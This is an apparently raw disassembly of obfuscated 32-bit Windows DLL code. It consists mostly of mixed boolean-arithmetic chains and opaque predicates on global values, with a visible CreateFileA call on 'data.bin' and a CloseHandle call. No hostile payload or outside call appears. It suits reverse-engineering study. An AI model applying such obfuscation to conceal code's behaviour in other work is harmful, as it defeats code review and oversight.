mov cl, ch
xor cl, al
test cl, 1
mov edx, 0xf7a6a60c
mov esi, 0xd6f3772e
cmovne edx, esi
test al, 1
mov eax, edx
cmovne eax, esi
jmp 0x10024670
mov eax, dword [ebp - 0x4c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x8e1f481
jmp 0x1000f9b0
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
mov esi, eax
and ecx, 0xfaee2a64
mov eax, edx
mov edi, edx
and eax, 0x511d59b
or eax, ecx
mov ecx, eax
xor ecx, 0x500948b
xor eax, 0xfaee2a64
mov edx, eax
and edx, 0x8afb6114
and ecx, 0x75049eeb
or ecx, edx
mov edx, esi
mov ebx, esi
and edx, edi
mov esi, edx
not esi
or eax, esi
and esi, 0x8afb6114
and edx, 0x75049eeb
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x88c6eb7f
and eax, 0x77391480
or eax, ecx
mov edx, eax
xor edx, 0x88c6eb7f
and edx, eax
mov eax, ebx
and eax, 0x6a34861e
mov esi, edi
mov dword [ebp - 0x24], edi
and esi, 0x95cb79e1
or esi, eax
xor esi, 0x1d0d929e
mov ecx, esi
xor ecx, ebx
mov dword [ebp - 0x28], ebx
and ecx, esi
mov esi, ecx
not esi
mov eax, edx
xor eax, esi
and esi, 0x3c12e03
and ecx, 0xfc3ed1fc
or ecx, esi
and eax, edx
xor ecx, edx
xor ecx, 0x3c12e03
or ecx, eax
mov eax, ecx
xor eax, 0x88c6eb7f
xor ecx, 0x77391480
mov edx, ecx
and edx, 0x51caa4d
and ecx, eax
and eax, 0xfae355b2
or eax, edx
xor eax, 0xfae355b2
or eax, ecx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xd825dc
and edx, 0xff27da23
or edx, esi
mov esi, eax
not esi
or eax, 1
or ecx, eax
and eax, 0xd825dc
and esi, 0xff27da22
or esi, eax
xor esi, edx
not ecx
or ecx, esi
mov edx, ecx
not edx
mov eax, edx
and eax, 0x43538e7a
and ecx, 0xbcac7185
or ecx, eax
xor ecx, 0x43538e7b
xor edx, ecx
and edx, ecx
mov dword [ebp - 0x14], edx
mov eax, edi
and eax, 0x3395cacc
mov esi, ebx
and esi, 0xcc6a3533
or esi, eax
mov ebx, esi
xor ebx, 0xcc6a3533
mov ecx, esi
xor ecx, 0x1662134c
and ecx, ebx
mov eax, ecx
not eax
mov edi, eax
and edi, 0x89c90b86
and ecx, 0x7636f479
or ecx, edi
mov edx, ebx
or edx, 0x25f7d980
mov edi, esi
xor esi, 0x12000048
or eax, edx
and edx, 0x89c90b86
and esi, 0x52002479
or esi, edx
xor esi, ecx
not eax
or eax, esi
xor edi, 0x22044a00
and edi, 0xe2465f23
mov ecx, ebx
and ecx, 0x1db9a0dc
or ecx, edi
xor ecx, 0xe2465f22
and ebx, 1
or ebx, ecx
xor eax, 0xda08267e
not ebx
or ebx, eax
mov esi, dword [ebp - 0x14]
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xaf7fd01a
mov edx, esi
and esi, 0x50802fe5
or esi, ecx
xor esi, 0xbd818848
or esi, eax
mov dword [ebp - 0x14], esi
and eax, 0x5b4f8463
and edx, 0xa4b07b9c
or edx, eax
mov esi, edx
xor esi, 0x24005010
xor edx, 0x1098463
and edx, 0x81b9afef
and esi, 0x7e465010
or esi, edx
mov eax, ebx
not eax
mov ecx, ebx
mov dword [ebp - 0x20], ebx
and ecx, 0x200974fe
mov edx, eax
and edx, 0xdff68b01
or edx, ecx
xor edx, 0xdff68b01
mov ecx, ebx
and ecx, eax
or ecx, edx
mov edx, ecx
mov edi, esi
xor edi, 0x81b9afef
mov ecx, esi
xor ecx, 0x7e465010
mov dword [ebp - 0x18], ecx
and ecx, 0x52c85715
xor esi, 0x2afc44fc
and esi, edi
mov dword [ebp - 0x1c], esi
and edi, 0xad37a8ea
or edi, ecx
mov esi, edx
mov dword [ebp - 0x2c], edx
mov ebx, edx
not ebx
mov edx, ebx
mov dword [ebp - 0x30], ebx
and edx, 0x12fe5852
mov ecx, esi
and ecx, 0xed01a7ad
or ecx, edx
mov edx, dword [ebp - 0x20]
and edx, 0xf8408c39
and eax, 0x7bf73c6
or eax, edx
mov esi, eax
xor esi, 0x7bf73c6
xor eax, 0x48408010
and eax, 0x4d7ea2d2
mov edx, esi
and edx, 0xb2815d2d
or edx, eax
xor edx, 0xa07f057f
and esi, 0xed01a7ad
or esi, edx
xor edi, 0xbfc9f0b8
or edi, dword [ebp - 0x18]
mov edx, edi
xor edx, edi
not edx
mov eax, dword [ebp - 0x14]
and edx, eax
xor edx, edi
or edi, eax
not edi
or edx, edi
mov dword [ebp - 0x34], edx
not ecx
or ecx, ebx
mov ebx, ecx
not ebx
mov eax, ecx
and eax, 0x7e261c9d
xor ecx, 0x219b2bb4
and ecx, ebx
and ebx, 0x81d9e362
or ebx, eax
mov edx, esi
not edx
mov dword [ebp - 0x14], edx
mov eax, esi
and eax, 0xd0903d55
and edx, 0x2f6fc2aa
or edx, eax
mov edi, ebx
xor edi, 0x81d9e362
mov dword [ebp - 0x38], edi
mov eax, ebx
xor eax, 0xa042c8d6
and eax, edi
or ecx, eax
mov eax, edx
xor eax, 0x2f6fc2aa
mov dword [ebp - 0x5c], eax
mov edi, edx
xor edi, 0xef4e91e
and edi, eax
mov eax, edi
not eax
mov dword [ebp - 0x20], eax
and dword [ebp - 0x20], 0x179e8458
and edi, 0xe8617ba7
add edi, dword [ebp - 0x20]
or esi, 0xde64d44b
or eax, esi
and esi, 0x179e8458
and dword [ebp - 0x14], 0x20012ba4
add dword [ebp - 0x14], esi
mov esi, dword [ebp - 0x14]
xor esi, edi
not eax
or eax, esi
xor eax, ecx
xor ebx, 0x7e261c9d
mov ecx, ebx
and ecx, 0xe09657d1
mov esi, dword [ebp - 0x38]
and esi, 0x1f69a82e
or esi, ecx
xor edx, 0xd0903d55
or ebx, edx
and edx, 0xe09657d1
mov ecx, dword [ebp - 0x5c]
and ecx, 0x1f69a82e
or ecx, edx
xor ecx, esi
not ebx
or ebx, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xb9a46a18
and eax, 0x465b95e7
or eax, ecx
mov ecx, ebx
not ecx
or edx, ebx
and ebx, 0xb9a46a18
and ecx, 0x465b95e7
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov edi, dword [ebp - 0x34]
mov eax, edi
not eax
mov ecx, edi
xor ecx, 0xba4c7e20
and ecx, edi
or edi, 0x45b381df
mov esi, edi
and esi, 0x74783e7d
and eax, 0x8a044000
or eax, esi
mov esi, ecx
not esi
or edi, esi
and esi, 0x74783e7d
and ecx, 0x8b87c182
or ecx, esi
xor ecx, eax
not edi
or edi, ecx
mov ebx, edi
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0xba4c7e20
and ecx, eax
mov esi, ecx
not esi
mov edi, esi
and edi, 0xf33b9dfa
and ecx, 0xcc46205
or ecx, edi
or eax, 0xba4c7e20
or esi, eax
and eax, 0xf33b9dfa
and edx, 0x4800005
or edx, eax
xor edx, ecx
not esi
or esi, edx
mov edx, esi
xor edx, esi
not edx
and edx, ebx
xor edx, esi
mov edi, dword [ebp - 0x18]
mov eax, edi
and eax, 0xab45eb13
or dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x2c]
mov ecx, eax
xor ecx, 0xab45eb13
and ecx, eax
or eax, 0x54ba14ec
mov esi, eax
and esi, 0x919137c
mov ebx, dword [ebp - 0x30]
or edi, ebx
and ebx, 0xa244e803
or ebx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x919137c
and ecx, 0xf6e6ec83
or ecx, esi
xor ecx, ebx
not eax
or eax, ecx
xor eax, dword [ebp - 0x1c]
not edi
or edi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xfea53999
and eax, edi
and edi, 0x15ac666
or edi, ecx
mov ecx, edi
xor ecx, 0x4a4622
xor edi, 0xfea53999
mov esi, edi
and esi, 0xdf10b944
and ecx, 0x20ef46bb
or ecx, esi
mov esi, eax
not esi
or edi, esi
and esi, 0xdf10b944
and eax, 0x20ef46bb
or eax, esi
xor eax, ecx
not edi
or edi, eax
mov eax, edi
not eax
and edi, 0x9ba0bc5c
and eax, 0x645f43a3
or eax, edi
mov ecx, eax
xor ecx, 0x44564280
xor eax, 0x9ba0bc5c
mov esi, edx
xor esi, eax
and eax, 0xab89a567
and ecx, 0x54765a98
or ecx, eax
and esi, edx
xor ecx, edx
xor ecx, 0xab89a567
or ecx, esi
mov esi, dword [ebp - 0x24]
mov eax, esi
and eax, 0xc37033dc
mov edi, dword [ebp - 0x28]
mov edx, edi
and edx, 0x3c8fcc23
or edx, eax
mov eax, edx
xor eax, 0x1c8b4420
xor edx, 0x831023d4
and edx, 0xa314abd7
and eax, 0x5ceb5428
or eax, edx
mov edx, edi
and edx, 0x27888a0c
and esi, 0xd87775f3
or esi, edx
mov edx, eax
xor edx, 0x448b0420
xor eax, 0xa314abd7
xor esi, 0xd87775f3
xor edi, esi
and edi, esi
mov esi, eax
and eax, 0x3a74705f
and edx, 0xc58b8fa0
or edx, eax
mov eax, edi
not eax
or esi, eax
and eax, 0x3a74705f
and edi, 0xc58b8fa0
or edi, eax
xor edi, edx
mov edx, edi
not edx
mov eax, edx
and eax, 0x53c9bebc
and edi, 0xac364143
or edi, eax
xor edi, esi
xor edi, 0xac364143
or edx, esi
not edx
or edx, edi
mov eax, ecx
not eax
mov dword [ebp - 0x14], eax
and eax, 0x27a75126
mov edi, ecx
and edi, 0xd858aed9
or edi, eax
mov esi, edi
xor esi, 0x40108699
xor edi, 0x27a75126
mov eax, edi
and eax, 0xbc4c6962
and esi, 0x43b3969d
or esi, eax
mov ebx, dword [ebp - 0x14]
and ebx, ecx
mov eax, ebx
not eax
or edi, eax
and eax, 0xbc4c6962
and ebx, 0x43b3969d
or ebx, eax
xor ebx, esi
not edi
or edi, ebx
mov esi, edx
not esi
mov eax, edx
and eax, 0x4bad882c
mov ebx, esi
and ebx, 0xb45277d3
or ebx, eax
mov eax, edi
not eax
mov dword [ebp - 0x18], edx
or dword [ebp - 0x18], edi
and edi, 0x4bad882c
and eax, 0xb45277d3
or eax, edi
xor eax, ebx
mov ebx, dword [ebp - 0x18]
not ebx
or ebx, eax
mov eax, edx
or eax, 0x8625080
and eax, 0xdc66778b
mov edi, esi
and esi, 0x22808054
or esi, eax
or edi, 0xd404270b
and edi, 0xdc66778b
and edx, 0x1190820
or edx, edi
xor edx, esi
mov edi, dword [ebp - 0x14]
mov eax, edi
and eax, 0x9b834125
mov esi, ecx
and esi, 0x647cbeda
or esi, eax
xor esi, edx
xor esi, 0x6d07e67a
mov edx, esi
xor edx, edi
and edx, esi
mov eax, ebx
not ebx
mov edi, eax
and eax, 0x36c58945
and ebx, 0xc93a76ba
or ebx, eax
mov eax, edx
not eax
or edi, eax
and eax, 0x36c58945
and edx, 0xc93a76ba
or edx, eax
xor edx, ebx
mov esi, edx
not esi
mov eax, esi
and eax, 0x50e6bdb8
and edx, 0xaf194247
or edx, eax
xor edx, edi
xor edx, 0xaf194247
or esi, edi
not esi
or esi, edx
mov edx, esi
not edx
mov eax, edx
and eax, 0x3a21180
and esi, 0x44ca015
or esi, eax
xor esi, 0x44ca015
and edx, 0xf8114e6a
or edx, esi
mov eax, edx
xor eax, ecx
and eax, edx
mov esi, dword [ebp - 0x14]
xor ecx, esi
and ecx, edx
xor ecx, esi
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x543fcccf
and eax, ecx
and ecx, 0xabc03330
or ecx, edx
mov edx, ecx
xor edx, 0x9002010
xor ecx, 0x543fcccf
mov esi, ecx
and esi, 0xa6fe53a9
and edx, 0x5901ac56
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0xa6fe53a9
and eax, 0x5901ac56
or eax, esi
xor eax, edx
not ecx
or ecx, eax
sete dl
setne ah
cmp dword [0x10045904], 0xa
setge bh
mov byte [ebp - 0x14], bh
setl cl
mov dh, cl
inc dh
mov ch, dh
and ch, cl
xor bh, cl
mov bl, bh
not bl
and bl, bh
xor bl, 1
mov al, bh
xor al, bl
or bl, bh
xor bl, 1
or bl, al
mov al, bl
xor al, 1
and bl, al
xor bl, 1
mov bh, bl
xor bh, al
or bl, al
xor bl, 1
or bl, bh
mov al, bl
xor al, 1
and bl, al
xor bl, 1
mov bh, al
xor bh, bl
or bl, al
xor bl, 1
or bl, bh
mov bh, bl
xor bh, 1
and bh, bl
xor bh, 1
mov al, bh
xor al, bl
or bh, bl
xor bh, 1
or bh, al
mov bl, bh
xor ch, 1
or ch, cl
xor ch, 1
or ch, dh
xor ch, bh
xor bh, 1
mov al, cl
xor al, bh
and al, cl
and bl, dh
and bh, cl
or bh, bl
mov dh, al
xor dh, 1
xor al, bh
xor bh, 1
or bh, dh
xor bh, 1
or bh, al
mov dh, ch
mov bl, bh
xor bl, ch
and ch, bl
and bl, bh
xor bh, 1
xor dh, 1
mov al, ch
xor al, 1
xor ch, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, ch
mov al, bh
or al, dh
xor al, 1
xor dh, bh
or dh, al
mov ch, dh
xor ch, 1
and ch, dh
xor ch, 1
mov al, dh
xor al, ch
or ch, dh
xor ch, 1
or ch, al
xor ch, 1
xor bl, 1
mov al, bl
or al, ch
xor al, 1
xor bl, ch
or bl, al
mov dh, bl
xor dh, 1
and dh, bl
xor dh, 1
mov al, bl
xor al, dh
or dh, bl
xor dh, 1
or dh, al
mov ch, dh
xor ch, 1
mov al, ch
and al, dh
mov bl, ch
xor bl, al
xor al, 1
or al, dh
xor al, 1
or al, bl
mov byte [ebp - 0x18], dl
mov ebx, edx
xor bl, ah
and bl, al
xor bl, ah
mov bh, bl
xor bh, ah
and bh, bl
xor dh, ah
or dh, ch
mov bl, bh
xor bl, 1
mov ch, bl
and ch, bh
mov al, bl
xor al, ch
xor ch, 1
or ch, bh
xor ch, 1
or ch, al
xor ch, dh
or bl, dh
xor ch, 1
mov al, ch
xor al, bl
or ch, bl
xor ch, 1
or ch, al
mov bh, ah
mov dh, byte [ebp - 0x14]
xor bh, dh
mov bl, dl
and bl, dh
and dh, bh
and bh, ah
mov al, dh
mov dl, dh
xor al, 1
mov dh, bh
xor dh, 1
and bh, al
or al, dh
and dh, dl
xor al, 1
or dh, bh
or dh, al
and ah, cl
or ah, bl
mov al, cl
mov dl, byte [ebp - 0x18]
or al, dl
xor al, 1
xor cl, dl
or cl, al
xor cl, ah
and ah, cl
xor ah, 1
mov al, ah
xor al, cl
or ah, cl
xor ah, 1
or ah, al
mov dl, ah
xor dl, 1
mov cl, dh
xor cl, 1
mov al, ah
and al, cl
or ah, dh
and dh, dl
or dh, al
xor dh, 1
or dh, cl
xor ah, 1
or cl, dl
xor cl, 1
or cl, ah
mov eax, ecx
and cl, dh
xor dh, 1
xor al, 1
mov dl, dh
xor dl, al
and dl, dh
and al, dh
or al, cl
xor dl, 1
xor al, 1
mov cl, dl
xor cl, al
or al, dl
xor al, 1
or al, cl
mov cl, al
xor cl, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov cl, al
and cl, dl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, ecx
and al, dl
xor al, 1
or al, cl
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ch
xor dl, 1
mov cl, dl
and cl, ch
xor cl, 1
or cl, ch
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov dh, ah
and dh, al
xor dh, 1
mov bh, dh
xor bh, al
or dh, al
xor dh, 1
or dh, bh
and bl, cl
xor bl, 1
mov bh, bl
xor bh, cl
or bl, cl
xor dh, 1
xor bl, 1
or bl, bh
mov cl, bl
xor cl, dh
or dh, bl
xor cl, 1
and cl, bl
xor dh, 1
or cl, dh
and dl, ah
or ah, ch
and al, ch
mov ch, ah
xor ch, 1
or al, dl
xor al, 1
mov dl, ch
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, ch
xor dl, al
or al, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov ch, cl
xor ch, 1
mov al, cl
and al, ch
xor al, 1
or al, cl
xor al, 1
or al, ch
mov ch, dl
or ch, al
xor al, 1
or al, ah
mov ah, ch
xor ah, al
or al, ch
xor al, 1
or al, ah
mov ah, cl
or ah, dl
xor ah, 1
xor dl, cl
or dl, ah
mov ecx, edx
xor cl, 1
mov ch, al
xor ch, 1
and cl, ch
or ch, dl
and dl, al
or dl, cl
mov cl, dl
xor cl, ch
test dl, 1
mov eax, 0x21b79a20
mov esi, 0x753f3a55
cmovne eax, esi
test ch, 1
mov edx, 0x21b79a20
jmp 0x10025309
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov dword [eax], str.data.bin
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov byte [eax], 0xaa
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
sub esp, 0x1c
movaps xmm0, xmmword [section..rdata]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x80
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
cmp dword [eax], 0xffffffff
sete byte [ebp - 0x4f]
mov eax, dword [0x10045900]
lea edi, [eax + 1]
imul edi, eax
mov eax, edi
not eax
mov esi, eax
mov eax, edi
or eax, 0x85312673
mov ecx, eax
and ecx, 0xa4757cc2
mov edx, esi
mov ebx, esi
and edx, 0x5a8a810c
or edx, ecx
mov ecx, edi
xor ecx, 0x7aced98c
and ecx, edi
mov dword [ebp - 0x14], edi
mov esi, ecx
not esi
or eax, esi
and esi, 0xa4757cc2
and ecx, 0x5b8a833d
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x5102462
xor eax, 0x2a40988c
and eax, 0xaa619a9d
and ecx, 0x559e6562
or ecx, eax
mov eax, ecx
xor eax, 0x50940000
xor ecx, 0x408a80
and ecx, 0x40aee0
and eax, 0x5ab4001d
or eax, ecx
mov edx, ebx
mov dword [ebp - 0x1c], ebx
mov ecx, ebx
and ecx, 0x8f450f43
and edi, 0x70baf0bc
or edi, ecx
mov ebx, eax
xor ebx, 0x5ab4001d
mov ecx, eax
xor ecx, 0x854a6a00
and ecx, 0x87fa6a08
xor eax, 0x4aa08c38
and eax, ebx
and ebx, 0x580484f5
or ebx, ecx
mov ecx, edi
xor ecx, 0x2a4e5e41
or ecx, edx
mov dword [ebp - 0x24], ecx
mov edx, ecx
not edx
and ecx, 0x13b08aeb
mov esi, edx
and esi, 0xec4f7514
or esi, ecx
mov dword [ebp - 0x18], esi
mov ecx, ebx
xor ecx, 0x780595f7
mov dword [ebp - 0x20], ecx
mov esi, ebx
xor esi, 0x32edb62d
and esi, ecx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0xc92e2e93
and esi, 0x16d1d06c
or esi, edi
mov edi, eax
not edi
or ecx, edi
and edi, 0xe92e2e93
and eax, 0x12d0806c
or eax, edi
xor eax, esi
not ecx
or ecx, eax
mov eax, dword [ebp - 0x18]
mov edi, eax
xor edi, 0xec4f7514
xor eax, 0x13b08aeb
mov dword [ebp - 0x18], eax
or eax, 0x8e023ca
and eax, 0xb9e4ebef
mov esi, edi
and esi, 0x4131400
or esi, eax
mov eax, dword [ebp - 0x24]
or eax, 0xb104c825
and eax, 0xb9e4ebef
and edx, 0x42080010
or edx, eax
xor edx, esi
xor edx, ecx
xor ebx, 0x87fa6a08
mov eax, ebx
and eax, 0xa3420d9
mov ecx, dword [ebp - 0x20]
and ecx, 0xd0cade24
or ecx, eax
mov eax, dword [ebp - 0x18]
or ebx, eax
and eax, 0x2f3521db
and edi, 0xd0cade24
or edi, eax
xor edi, ecx
not ebx
or ebx, edi
mov edi, edx
not edi
mov eax, edi
and eax, 0x829c5204
and edx, 0x7d63adfb
or edx, eax
xor edx, ebx
xor edx, 0x7d63adfb
or edi, ebx
not edi
or edi, edx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xddb6ab7a
mov edx, edi
and edx, 0x22495485
or edx, ecx
mov ecx, edx
xor ecx, 0x91001
xor edx, 0x848818
or edx, 0x70004302
and edx, 0x7084cf9a
and ecx, 0x1b3021
or ecx, edx
or eax, 0x848c98
and eax, 0x7084cf9a
and edi, 0x8f600044
or edi, eax
xor edi, ecx
mov eax, edi
xor eax, 0xa594edbb
mov edx, edi
xor edx, 0x4a0b0000
and edx, 0x4f9f0d99
xor edi, 0xea0be022
and edi, eax
or edx, edi
not edi
and edi, 0xb060f266
and edx, 0x4f9f0d99
or edx, edi
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xf9ef9ca
mov eax, edx
xor eax, 0xf9ef9ca
and eax, edx
or eax, esi
and edx, 0xf0b7daa2
mov esi, ecx
and esi, 0xf48255d
or esi, edx
xor esi, 0x8219619e
and ecx, 0x72aebb3c
or ecx, esi
mov edx, eax
xor edx, 0x82c48c09
xor eax, 0x7d3042f6
mov esi, eax
and esi, 0x53b71d6
and edx, 0xfac48e29
or edx, esi
xor edx, ecx
xor edx, 0xfac48e29
or eax, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0x3c04358f
and ecx, 0xc3fbca70
or ecx, eax
mov edx, ecx
xor edx, 0x18043080
xor ecx, 0xc3fbca70
mov eax, ecx
and eax, 0x67ea8f6f
and edx, 0x98157090
or edx, eax
xor edx, 0x98157090
or edx, ecx
mov eax, dword [ebp - 0x14]
and eax, 0x6b03d20b
mov ecx, dword [ebp - 0x1c]
and ecx, 0x94fc2df4
or ecx, eax
mov eax, ecx
xor eax, 0x94fc2df4
mov edi, ecx
xor edi, 0x1c0dfdd1
and edi, eax
mov esi, edi
not esi
mov ebx, esi
and ebx, 0x96f59d5e
and edi, 0x690a62a1
or edi, ebx
mov ebx, dword [ebp - 0x14]
or ebx, 0x770e2fda
or esi, ebx
and ebx, 0x96f59d5e
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x1c]
and ebx, 0x8004021
add ebx, dword [ebp - 0x14]
xor ebx, edi
not esi
or esi, ebx
xor esi, 0x5a094e6
xor ecx, 0x4a03000b
and ecx, 0xdeff2cfb
mov edi, eax
and edi, 0x2100d304
or edi, ecx
xor edi, 0x53ae6838
and eax, 0x8d5144c3
or eax, edi
not eax
or eax, esi
mov ecx, eax
xor ecx, 0x252691bd
and ecx, eax
mov esi, eax
not esi
and esi, 0x252691bd
or esi, ecx
not ecx
and ecx, 0xdad96e42
and esi, 0x252691bd
or esi, ecx
mov eax, esi
not eax
mov edi, eax
and edi, 0xfabf2392
mov ecx, esi
and ecx, 0x540dc6d
or ecx, edi
xor ecx, 0x540dc6d
or ecx, edx
xor eax, edx
not edx
or esi, edx
and eax, esi
mov esi, eax
not esi
mov edx, esi
and edx, 0xb60bc8ee
mov edi, eax
and edi, 0x49f43711
or edi, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x1062fa43
and ebx, edx
mov edx, edi
xor edx, 0x49f43711
or edx, ecx
and ecx, 0xef9d05bc
or ebx, ecx
mov ecx, edi
xor ecx, 0xa4000084
or ecx, 0x403000
xor edi, 0x48800100
and ecx, 0xa5543494
and edi, 0x4a890128
or edi, ecx
or esi, 0xa5140494
and esi, 0xa5543494
and eax, 0x1022ca43
or eax, esi
xor eax, edi
mov ecx, eax
xor ecx, eax
not ecx
and ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0xf0834627
and ecx, edx
mov esi, edx
or esi, 0x17c0008
and esi, 0x717d040a
mov edi, eax
and edi, 0x80824225
or edi, esi
mov ebx, ecx
not ebx
mov esi, edx
or esi, ebx
and ebx, 0x717d040a
and ecx, 0x8e82fbf5
or ecx, ebx
xor ecx, edi
not esi
or esi, ecx
not ecx
and ecx, 0xf7cb9d8
and esi, 0xf0834627
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0xe7aa2e08
and esi, 0x1855d1f7
or esi, ecx
mov ecx, esi
xor ecx, 0xe7aa2e08
and ecx, esi
mov esi, ecx
not esi
mov edi, ecx
xor edi, 0x5f177838
and edi, esi
mov ebx, ecx
and ebx, 0xa0e887c7
or ebx, edi
or eax, 0x1855d1f7
mov edi, eax
not edi
mov dword [ebp - 0x14], eax
and dword [ebp - 0x14], 0x57062828
xor edx, 0x47022808
and edx, edi
or edx, dword [ebp - 0x14]
xor edx, ebx
mov ebx, ecx
and ebx, 0x8efd5cd
and esi, 0xf7102a32
or esi, ebx
or ecx, edi
and edi, 0xaa0408
and eax, 0xf7102a32
or eax, edi
mov edi, edx
xor edi, 0x105000
xor eax, esi
not ecx
or ecx, eax
xor edx, 0xf7eeafef
mov eax, edx
and eax, 0xf8278e1a
and edi, 0x7d871e5
or edi, eax
xor edi, ecx
xor edi, 0x7d871e5
or edx, ecx
not edx
or edx, edi
mov ecx, edx
xor ecx, 0x95049534
mov edi, edx
xor edi, 0x6afb6acb
mov eax, edi
and eax, 0x83222c0c
mov ebx, ecx
mov esi, ecx
mov dword [ebp - 0x1c], ecx
and ebx, 0x40945042
or ebx, eax
mov ecx, edx
xor ecx, 0x56b2e97a
and ecx, esi
xor ebx, 0x40945042
or ecx, ebx
mov eax, edi
and eax, 0x25fc802e
mov ebx, esi
and ebx, 0xda037fd1
or ebx, eax
mov eax, ecx
xor eax, 0x1ecfcf08
xor ecx, 0xc3b67c4e
xor eax, ecx
xor ebx, 0x25fc802e
or ebx, edi
xor eax, 0x22864cb9
and eax, ebx
xor eax, ecx
or ecx, ebx
mov esi, eax
not esi
mov ebx, esi
and ebx, 0xc69e299f
and eax, 0x3961d660
or eax, ebx
xor eax, ecx
or esi, ecx
xor eax, 0x3961d660
not esi
or esi, eax
mov dword [ebp - 0x14], esi
mov eax, esi
not eax
mov dword [ebp - 0x18], eax
mov ecx, esi
xor ecx, 0x2b3e6ba4
and ecx, esi
or eax, ecx
not ecx
and ecx, 0xd4c1945b
and eax, 0x2b3e6ba4
or eax, ecx
mov ebx, eax
or ebx, 0x829cef0c
mov esi, ebx
not esi
or eax, 0xa4a90a
and eax, 0x49e7a97b
and esi, 0x92181684
or esi, eax
mov eax, ebx
xor eax, 0xdb5fb6f5
and eax, ebx
mov ecx, eax
not ecx
or ebx, ecx
and ecx, 0x49e7a97b
and eax, 0xb6185684
or eax, ecx
xor eax, esi
not ebx
or ebx, eax
not eax
and eax, 0x24a0490a
and ebx, 0xdb5fb6f5
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x38bdf2ed
and ebx, 0xc7420d12
or ebx, ecx
xor ebx, 0x38bdf2ed
xor eax, ebx
and eax, ebx
xor edx, 0x397402e8
mov ecx, dword [ebp - 0x1c]
and edx, ecx
and edi, 0x440119c
and ecx, 0xa8308640
or ecx, edi
xor ecx, 0xa8308640
or edx, ecx
mov ecx, edx
xor ecx, 0x538f6823
mov esi, edx
xor esi, 0xac7097dc
mov edi, esi
or edi, ecx
xor edx, 0xb9221a70
and edx, edi
and ecx, 0x5159012e
mov edi, esi
and edi, 0xaea6fed1
or edi, ecx
xor edi, 0xd3c5ee22
and esi, 0x829cef0c
or esi, edi
mov ecx, edx
xor ecx, 0x86022020
xor edx, 0x68319d5f
mov edi, edx
and edi, 0x79edc7c8
and ecx, 0x86123837
or ecx, edi
xor ecx, esi
or edx, esi
xor ecx, 0x86123837
not edx
or edx, ecx
mov ecx, edx
xor ecx, 0xa43ba68d
and ecx, edx
mov ebx, edx
not ebx
and ebx, 0xa43ba68d
or ebx, ecx
not ecx
and ecx, 0x5bc45972
and ebx, 0xa43ba68d
or ebx, ecx
mov esi, ebx
not esi
mov ecx, esi
and ecx, 0x5812b141
and ebx, 0xa7ed4ebe
or ebx, ecx
mov edx, eax
not edx
mov edi, edx
and edi, 0x9c6f562a
mov ecx, eax
and ecx, 0x6390a9d5
or ecx, edi
mov edi, ebx
xor edi, 0x23800894
xor ebx, 0x18021000
and ebx, 0x9c6f562a
and edi, 0x6390a9d5
or edi, ebx
xor edi, ecx
not edi
or edi, edx
xor edx, esi
or esi, eax
and edx, eax
not esi
or edx, esi
mov ecx, edi
not ecx
mov esi, edx
not esi
mov eax, ecx
xor eax, esi
and eax, ecx
and edi, 0xce83dc51
and ecx, 0x317c23ae
or ecx, edi
and esi, 0xce83dc51
and edx, 0x317c23ae
or edx, esi
xor edx, ecx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x33271031
and eax, 0xccd8efce
or eax, ecx
mov ecx, edx
not ecx
or esi, ecx
and ecx, 0x33271031
and edx, 0xccd8efce
or edx, ecx
xor edx, eax
not esi
or esi, edx
